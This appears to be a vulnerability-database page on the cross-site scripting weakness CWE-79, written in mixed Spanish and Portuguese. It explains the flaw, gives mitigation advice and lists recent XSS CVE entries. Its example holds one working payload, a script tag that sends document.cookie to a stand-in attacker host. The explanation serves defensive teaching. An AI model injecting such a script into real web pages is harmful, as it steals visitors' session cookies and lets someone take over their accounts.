Fallos del tipo CWE-79

30.585 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-4730MEDIUMCharts Ninja: Create Beautiful Graphs & Charts and Easily Add Them to Your Website <= 2.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'chartid' Shortcode AttributeEPSS 0.2%CVE-2025-29231MEDIUMA stored cross-site scripting (XSS) vulnerability in the page_save component of Linksys E5600 V1.1.0.26 allows attackers to execute arbitrarEPSS 0.2%CVE-2025-65120MEDIUMReflected cross-site scripting vulnerability exists in GroupSession Free edition prior to ver5.7.1, GroupSession byCloud prior to ver5.7.1, EPSS 0.2%CVE-2026-97344MEDIUMWp Social Login and Register Social Counter <= 3.2.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Avatar Alt Attribute via Arbitrary User Meta WriteEPSS 0.2%CVE-2026-2827MEDIUMOpen User Map PRO <= 1.4.31 - Unauthenticated Stored Cross-Site Scripting via 'oum_location_notification'EPSS 0.2%CVE-2025-11682HIGHStored Cross-Site Scripting in Perx Customer Engagement & Loyalty PlatformEPSS 0.2%CVE-2026-100238MEDIUMFlow colon-separator and flow-guidedtour-optin-welcome-description messages allow stored XSSEPSS 0.2%CVE-2026-8883MEDIUMGlobal Body Mass Index Calculator <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-30139MEDIUMA reflected cross-site scripting (XSS) vulnerability in the AdvancedSearch functionality of Silverpeas Core before version 6.4.6 allows attaEPSS 0.2%CVE-2026-104726MEDIUMName Directory <= 1.34.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'dir' Shortcode AttributeEPSS 0.2%CVE-2025-55056MEDIUMMultiple CWE-79 Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting')EPSS 0.2%CVE-2026-116582MEDIUMSeroval: Script injection through RegExp sources in serialized outputEPSS 0.2%CVE-2025-68867MEDIUMWordPress Effect Maker plugin <= 1.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-97470MEDIUMTourfic <= 3.0.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Comment Content via unfiltered_html Grant to Customer RoleEPSS 0.2%CVE-2024-58319MEDIUMKentico Xperience <= 13.0.160 Pages Dashboard Widget Reflected XSSEPSS 0.2%CVE-2025-63032MEDIUMWordPress Consulting theme <= 1.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-67075MEDIUMHCL Digital Experience is affected by improper input sanitationEPSS 0.2%CVE-2025-57462MEDIUMStored cross-site scripting (xss) in machsol machpanel 8.0.32 allows attackers to execute arbitrary web scripts or HTML via a crafted PDF fiEPSS 0.2%CVE-2025-49358MEDIUMWordPress Content Fetcher plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-109344MEDIUMDOMPurify from 3.4.13 before 3.4.16 DOM XSS via IN_PLACE afterSanitize HooksEPSS 0.2%